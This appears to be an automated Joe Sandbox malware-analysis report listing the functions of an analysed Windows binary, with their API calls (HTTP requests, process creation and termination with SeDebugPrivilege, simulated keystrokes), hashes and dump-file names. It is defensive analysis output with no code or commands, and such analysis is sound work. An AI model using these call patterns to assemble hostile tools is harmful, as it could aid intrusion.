Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 60ae6ee8cf4cdd7975a954a4025116344b21a906d7def45d386e0b881d8c428e
Instruction ID: 4d7424f4e3cd6c764be37814e63b6edce93165f3ab692d85a84ae4d2c6e86b5c
Opcode Fuzzy Hash: 60ae6ee8cf4cdd7975a954a4025116344b21a906d7def45d386e0b881d8c428e
Instruction Fuzzy Hash: 5D71C031500205EFDF658F64C884EEE7BB6FF49320F14426EED5A5A2A6D7308C81EB60

Function 00101A15 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00101A50
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00101A7C
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00101ABE
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00101AD3
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00101AE0
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00101B10
InternetCloseHandle.WININET(00000000), ref: 00101B57

Part of subcall function 00102483: GetLastError.KERNEL32(?,?,00101817,00000000,00000000,00000001), ref: 00102498
Part of subcall function 00102483: SetEvent.KERNEL32(?,?,00101817,00000000,00000000,00000001), ref: 001024AD

Strings

, xrefs: 00101B01

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: 624e53ecad0e3198197c1c8b794c7de611b7a4e23b2278d74fd232171b6b7049
Instruction ID: 6f3a31dc73ad49fa24d6fdee1ca7bc033e4598850f1190387a125948facfcfa9
Opcode Fuzzy Hash: 624e53ecad0e3198197c1c8b794c7de611b7a4e23b2278d74fd232171b6b7049
Instruction Fuzzy Hash: 1F4150B1501219BFEB169F50CC89FFB7BACFF08754F00812AF9459A181E7B49E459BA0

Function 00108C46 Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,0011F910), ref: 00108D28
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,0011F910), ref: 00108D5C
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00108ED6
SysFreeString.OLEAUT32(?), ref: 00108F00

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: fc8eb80443ec1f2fe37532a0a54af2b7883c07673699bab7dd5b6a4f17b8a71c
Instruction ID: 0261bb7f709075a5255cedee730975dc908c267a2b1c092c5a45df769fce083d
Opcode Fuzzy Hash: fc8eb80443ec1f2fe37532a0a54af2b7883c07673699bab7dd5b6a4f17b8a71c
Instruction Fuzzy Hash: 9BF10771A00209AFDF14DF94C884EEEB7B9FF49314F108558F985AB291DB71AE46CB90

Function 0010F694 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0010F6B5
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0010F848
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0010F86C
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0010F8AC
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0010F8CE
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 0010FA4A
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 0010FA7C
CloseHandle.KERNEL32(?), ref: 0010FAAB
CloseHandle.KERNEL32(?), ref: 0010FB22

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 37a76efbb83230089df5afa7c16b91ae6e7caf1f74579bf587803dd20fe26762
Instruction ID: 5d22227dcbd390ef2aae06d9bf3ebb04fc5e3723257f2dfd16c267be91189507
Opcode Fuzzy Hash: 37a76efbb83230089df5afa7c16b91ae6e7caf1f74579bf587803dd20fe26762
Instruction Fuzzy Hash: B9E1A2312043009FCB24EF24C882BAABBE1EF85354F14856DF8995B6E2DB71DC46CB52

Function 000F4CC1 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 000F466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,000F3697,?), ref: 000F468B

Part of subcall function 000F466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,000F3697,?), ref: 000F46A4

Part of subcall function 000F4A31: GetFileAttributesW.KERNEL32(?,000F370B), ref: 000F4A32

lstrcmpiW.KERNEL32(?,?), ref: 000F4D40
_wcscmp.LIBCMT ref: 000F4D5A
MoveFileW.KERNEL32(?,?), ref: 000F4D75

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: 5f593672b8c5b8e9af7b6772ea0ca9747c99b5e89ef63eb9e783c128e5446358
Instruction ID: c793230558ca05f239fe4ad6b7469eb142037be810324fdee2d751ab73451972
Opcode Fuzzy Hash: 5f593672b8c5b8e9af7b6772ea0ca9747c99b5e89ef63eb9e783c128e5446358
Instruction Fuzzy Hash: 5B5152B20083499BC765DB64DC819EFB3ECAF84350F00492EB689D3552EF74A688D766

Function 00118645 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 001186FF

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: de36f6d7d6b7c115ac225e38d5b7b752109b88cc38ead0395b13df004076a6c6
Instruction ID: 790907d3e109d5328508931ee7164feccda40777dccc04d25355a86d48d3257c
Opcode Fuzzy Hash: de36f6d7d6b7c115ac225e38d5b7b752109b88cc38ead0395b13df004076a6c6
Instruction Fuzzy Hash: 7F519B30600244BEEF2C9B288C89FED7BA5AB05364F708235FA11E65E1DF75A9C0DB51

Function 00092B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 000CC2F7
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 000CC319
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 000CC331
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 000CC34F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 000CC370
DestroyIcon.USER32(00000000), ref: 000CC37F
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 000CC39C
DestroyIcon.USER32(?), ref: 000CC3AB

Part of subcall function 0011A4AF: DeleteObject.GDI32(00000000), ref: 0011A4E8

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: 886e375c2f9e8f4cb64005f45978f798116da28e64daeb149158581bfd5499b1
Instruction ID: a3dd8af6be170eb8465905e0b7ad6ec5658458b484009b444500750faacec99c
Opcode Fuzzy Hash: 886e375c2f9e8f4cb64005f45978f798116da28e64daeb149158581bfd5499b1
Instruction Fuzzy Hash: 8A513570A00209EFEF24DF65DC45FAE7BE5EB58310F10852CF946A76A0DB70A991EB50

Function 000E966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 000EA82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 000EA84C
Part of subcall function 000EA82C: GetCurrentThreadId.KERNEL32 ref: 000EA853
Part of subcall function 000EA82C: AttachThreadInput.USER32(00000000,?,000E9683,?,00000001), ref: 000EA85A

MapVirtualKeyW.USER32(00000025,00000000), ref: 000E968E
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 000E96AB
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 000E96AE
MapVirtualKeyW.USER32(00000025,00000000), ref: 000E96B7
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 000E96D5
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 000E96D8
MapVirtualKeyW.USER32(00000025,00000000), ref: 000E96E1
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 000E96F8
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 000E96FB

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: da1d195944a0cd83c94370da93319ca8e47350cb0b74d16ef6be5e0419d14e42
Instruction ID: 96164e8552d8689f39778f93f4df4fd37b15b8509630bdf5757a86fc277e14ec
Opcode Fuzzy Hash: da1d195944a0cd83c94370da93319ca8e47350cb0b74d16ef6be5e0419d14e42
Instruction Fuzzy Hash: 0711E5B1910A18BEF6106F61DC49FAA7F1DEB4C750F104429F244AB0A1C9F25C51DAA4

Function 000E8921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,000E853C,00000B00,?,?), ref: 000E892A
HeapAlloc.KERNEL32(00000000,?,000E853C,00000B00,?,?), ref: 000E8931
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,000E853C,00000B00,?,?), ref: 000E8946
GetCurrentProcess.KERNEL32(?,00000000,?,000E853C,00000B00,?,?), ref: 000E894E
DuplicateHandle.KERNEL32(00000000,?,000E853C,00000B00,?,?), ref: 000E8951
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,000E853C,00000B00,?,?), ref: 000E8961
GetCurrentProcess.KERNEL32(000E853C,00000000,?,000E853C,00000B00,?,?), ref: 000E8969
DuplicateHandle.KERNEL32(00000000,?,000E853C,00000B00,?,?), ref: 000E896C
CreateThread.KERNEL32(00000000,00000000,000E8992,00000000,00000000,00000000), ref: 000E8986

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 2580d93b2c40ef2f1d565b59ea368368493da34f166b4adf0708cd1b5a5288ea
Instruction ID: 22360a6247098c44528b36a39822ff78c88171b621c868faa01b3300ea5b5c99
Opcode Fuzzy Hash: 2580d93b2c40ef2f1d565b59ea368368493da34f166b4adf0708cd1b5a5288ea
Instruction Fuzzy Hash: 5501BFB5640344FFE710ABA5DD4DFA73B6CEB89711F408425FA05DB591CA749841CB20

Function 00109B23 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

NULL Pointer assignment, xrefs: 00109BA4, 00109EC8
Not an Object type, xrefs: 00109B7B

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: e63f859cd3b6d7cda255c41de5631bb48c98d516e2f054563943f218b4ea1211
Instruction ID: ad47a446b1d00aa173ca1549944170f8d0099a63e1d5813b79ae7f77f6dfe768
Opcode Fuzzy Hash: e63f859cd3b6d7cda255c41de5631bb48c98d516e2f054563943f218b4ea1211
Instruction Fuzzy Hash: 0FC1C371A002099FDF14DFA8D994AEEB7F5FF48310F148469E945AB2C2E7B0AD41CB90

Function 00109113 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00109167
VariantInit.OLEAUT32(?), ref: 00109238
VariantInit.OLEAUT32(?), ref: 00109339
VariantClear.OLEAUT32(?), ref: 00109343
VariantClear.OLEAUT32(?), ref: 001093A0

Strings

Incorrect Object type in FOR..IN loop, xrefs: 0010931C
Null Object assignment in FOR..IN loop, xrefs: 001091C8, 001092F6, 001093AE

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 1407c47817a90d59ba30e7b1f176fd529d9dc0d7bc3ce3166424e31fde92b60e
Instruction ID: b79d80f68172524a423b4ca3d799f116b5a14d28fb9b2711bd786f592dd86f10
Opcode Fuzzy Hash: 1407c47817a90d59ba30e7b1f176fd529d9dc0d7bc3ce3166424e31fde92b60e
Instruction Fuzzy Hash: 86919A70A00219ABDF24DFA5C858FAEBBB8FF45710F108159F555AB2D2D7B09941CFA0

Function 0010975D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 000E710A: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000E7044,80070057,?,?,?,000E7455), ref: 000E7127
Part of subcall function 000E710A: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000E7044,80070057,?,?), ref: 000E7142
Part of subcall function 000E710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000E7044,80070057,?,?), ref: 000E7150
Part of subcall function 000E710A: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,000E7044,80070057,?), ref: 000E7160

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00109806
_memset.LIBCMT ref: 00109813
_memset.LIBCMT ref: 00109956
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00109982
CoTaskMemFree.OLE32(?), ref: 0010998D

Strings

NULL Pointer assignment, xrefs: 001099DB

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: a8f5c2284c4b9528e005c6a29b4faaae934258086921a350878713ecfe6efa72
Instruction ID: 5ab17c09f26aa0050091eda2c285c5d481f7953528816f8ae25186f2249df132
Opcode Fuzzy Hash: a8f5c2284c4b9528e005c6a29b4faaae934258086921a350878713ecfe6efa72
Instruction Fuzzy Hash: 87912771D00229EBDF10DFA5DC51EDEBBB9AF48310F20415AF519A7292EB719A44CFA0

Function 00116D80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00116E24
SendMessageW.USER32(?,00001036,00000000,?), ref: 00116E38
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00116E52
_wcscat.LIBCMT ref: 00116EAD
SendMessageW.USER32(?,00001057,00000000,?), ref: 00116EC4
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00116EF2

Strings

SysListView32, xrefs: 00116DF6

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 057071c64f81d2128f9984112832de3edab2408737c23898afd8659b1064798a
Instruction ID: ebaf28842378a2af8e3bfe7cf691bbb6e4fb67afb45e2e2d2c03744ee66aeac8
Opcode Fuzzy Hash: 057071c64f81d2128f9984112832de3edab2408737c23898afd8659b1064798a
Instruction Fuzzy Hash: A9419E70A00308ABDF25DFA4CC85BEE77A9EF08350F10453AF984A7292D7729DC58B60

Function 0010E933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 000F3C55: CreateToolhelp32Snapshot.KERNEL32 ref: 000F3C7A
Part of subcall function 000F3C55: Process32FirstW.KERNEL32(00000000,?), ref: 000F3C88
Part of subcall function 000F3C55: CloseHandle.KERNEL32(00000000), ref: 000F3D52

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0010E9A4
GetLastError.KERNEL32 ref: 0010E9B7
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0010E9E6
TerminateProcess.KERNEL32(00000000,00000000), ref: 0010EA63
GetLastError.KERNEL32(00000000), ref: 0010EA6E
CloseHandle.KERNEL32(00000000), ref: 0010EAA3

Strings

SeDebugPrivilege, xrefs: 0010E9C2

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: c1fb71fb221a119e1a441b28fb078abe1f6d29835f7e5a71becba18c45e9eae2
Instruction ID: e33d4ab98fdbf45ff447e399fb59a5d4d3aff22915bbe350b598815858fc190b
Opcode Fuzzy Hash: c1fb71fb221a119e1a441b28fb078abe1f6d29835f7e5a71becba18c45e9eae2
Instruction Fuzzy Hash: 1C4197313002019FDB15EF69C8A5BAEB7E5AF45314F08885CF9869B2D3DBB1A845CB91

Function 000F2F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 000F3033

Strings

stop, xrefs: 000F3004
info, xrefs: 000F2FD4
warning, xrefs: 000F301C
blank, xrefs: 000F2FB5
question, xrefs: 000F2FEC

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: d4467a03ff29ccf7b3c238ee46e203eb2974ea0a5d4cb721e0eea28fd1ce6960
Instruction ID: c71c918c927c70eee89d0005ffcfc3f5e503df2dc8cae2c70a233cb4e6d988c7
Opcode Fuzzy Hash: d4467a03ff29ccf7b3c238ee46e203eb2974ea0a5d4cb721e0eea28fd1ce6960
Instruction Fuzzy Hash: 6811D53124838ABEE7249A55DC52DFF77DC9F15370B20002BFB04AA982DF619F406AA4

Function 000F42F8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 000F4312
LoadStringW.USER32(00000000), ref: 000F4319
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 000F432F
LoadStringW.USER32(00000000), ref: 000F4336
_wprintf.LIBCMT ref: 000F435C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 000F437A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 000F4357

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 13024b98f0a76aa7aa29ca9e3fdd7f4bde9fc442aeecd21214f53b7bb40f1a7a
